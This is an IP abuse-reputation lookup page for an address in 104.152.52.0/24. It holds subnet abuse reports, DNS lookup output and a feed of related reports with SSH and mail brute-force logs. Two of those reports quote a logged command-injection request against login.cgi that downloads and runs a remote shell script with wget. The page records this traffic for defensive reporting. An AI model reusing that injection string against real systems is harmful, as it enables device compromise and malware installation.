Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
IP Type Details Datetime
104.152.52.231 botsattackproxy
Bot attacker IP
2025-03-25 13:44:38
104.152.52.145 botsattackproxy
Vulnerability Scanner
2025-03-20 13:41:36
104.152.52.100 spamattackproxy
VoIP blacklist IP
2025-03-14 22:09:59
104.152.52.139 attack
Brute-force attacker IP
2025-03-10 13:45:36
104.152.52.219 botsattackproxy
Bot attacker IP
2025-03-04 13:55:48
104.152.52.124 botsattackproxy
Vulnerability Scanner
2025-02-26 17:12:59
104.152.52.146 botsattackproxy
Bot attacker IP
2025-02-21 12:31:03
104.152.52.161 botsattackproxy
Vulnerability Scanner
2025-02-05 14:00:57
104.152.52.176 botsattackproxy
Botnet DB Scanner
2025-01-20 14:03:26
104.152.52.141 botsattack
Vulnerability Scanner
2025-01-09 22:45:15
104.152.52.165 botsattackproxy
Bot attacker IP
2024-09-24 16:44:08
104.152.52.226 botsattackproxy
Vulnerability Scanner
2024-08-28 12:46:53
104.152.52.142 spambotsattack
Vulnerability Scanner
2024-08-26 12:47:13
104.152.52.116 spamattack
Compromised IP
2024-07-06 14:07:26
104.152.52.204 attack
Bad IP
2024-07-01 12:36:27
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.152.52.119
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 13294
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.152.52.119.			IN	A

;; AUTHORITY SECTION:
.			572	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021202 1800 900 604800 86400

;; Query time: 60 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 13 13:11:27 CST 2022
;; MSG SIZE  rcvd: 107
Host info
119.52.152.104.in-addr.arpa domain name pointer internettl.org.
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
119.52.152.104.in-addr.arpa	name = internettl.org.

Authoritative answers can be found from:
Related IP info:
Related comments:
IP Type Details Datetime
124.205.243.244 attack
Unauthorized connection attempt detected from IP address 124.205.243.244 to port 1433
2019-12-23 22:18:22
148.251.49.107 attackbots
20 attempts against mh-misbehave-ban on comet.magehost.pro
2019-12-23 21:46:58
109.248.10.234 attack
[portscan] Port scan
2019-12-23 22:12:12
41.239.144.2 attackbots
1 attack on wget probes like:
41.239.144.2 - - [22/Dec/2019:06:34:17 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 21:48:40
111.72.193.208 attack
2019-12-23T07:23:55.972208 X postfix/smtpd[17167]: lost connection after AUTH from unknown[111.72.193.208]
2019-12-23T07:23:57.051086 X postfix/smtpd[16665]: lost connection after AUTH from unknown[111.72.193.208]
2019-12-23T07:23:58.774192 X postfix/smtpd[17167]: lost connection after AUTH from unknown[111.72.193.208]
2019-12-23 22:13:14
142.93.47.125 attack
Dec 23 14:18:32 MK-Soft-VM8 sshd[7425]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.47.125 
Dec 23 14:18:34 MK-Soft-VM8 sshd[7425]: Failed password for invalid user maggs from 142.93.47.125 port 48422 ssh2
...
2019-12-23 22:17:01
106.13.93.199 attackbots
Dec 23 11:49:52 meumeu sshd[20863]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.93.199 
Dec 23 11:49:54 meumeu sshd[20863]: Failed password for invalid user kylereawelding from 106.13.93.199 port 45968 ssh2
Dec 23 11:56:12 meumeu sshd[21733]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.93.199 
...
2019-12-23 22:07:33
163.172.251.80 attackspambots
Dec 23 03:04:24 auw2 sshd\[3916\]: Invalid user tsq from 163.172.251.80
Dec 23 03:04:24 auw2 sshd\[3916\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=163.172.251.80
Dec 23 03:04:26 auw2 sshd\[3916\]: Failed password for invalid user tsq from 163.172.251.80 port 43154 ssh2
Dec 23 03:10:07 auw2 sshd\[4606\]: Invalid user tsukumo from 163.172.251.80
Dec 23 03:10:07 auw2 sshd\[4606\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=163.172.251.80
2019-12-23 22:17:18
197.55.235.202 attackbotsspam
1 attack on wget probes like:
197.55.235.202 - - [22/Dec/2019:19:16:28 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 22:26:49
62.210.69.43 attackspam
Automatic report - XMLRPC Attack
2019-12-23 21:50:53
14.173.183.79 attack
Scanning random ports - tries to find possible vulnerable services
2019-12-23 22:24:40
51.75.16.138 attackspambots
Triggered by Fail2Ban at Vostok web server
2019-12-23 21:58:23
210.227.113.18 attackbots
Dec 23 14:51:34 vps647732 sshd[24473]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.227.113.18
Dec 23 14:51:36 vps647732 sshd[24473]: Failed password for invalid user maxout from 210.227.113.18 port 59580 ssh2
...
2019-12-23 22:02:55
97.68.225.36 attackspam
Dec 22 08:20:00 vpxxxxxxx22308 sshd[32640]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=97.68.225.36  user=r.r
Dec 22 08:20:03 vpxxxxxxx22308 sshd[32640]: Failed password for r.r from 97.68.225.36 port 33030 ssh2
Dec 22 08:25:58 vpxxxxxxx22308 sshd[967]: Invalid user 123456 from 97.68.225.36
Dec 22 08:25:58 vpxxxxxxx22308 sshd[967]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=97.68.225.36
Dec 22 08:26:01 vpxxxxxxx22308 sshd[967]: Failed password for invalid user 123456 from 97.68.225.36 port 37778 ssh2

........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=97.68.225.36
2019-12-23 21:47:17
106.13.105.77 attackspam
$f2bV_matches
2019-12-23 22:14:11

Recently Reported IPs

104.152.52.138 104.152.52.111 104.149.204.15 104.152.52.167
104.152.52.185 104.152.52.73 104.152.52.159 104.152.52.168
104.152.57.149 104.152.52.165 104.154.104.47 104.152.52.177
104.152.52.55 104.156.110.52 104.16.237.230 104.156.227.99
104.155.230.1 104.156.155.9 104.160.8.200 104.161.20.163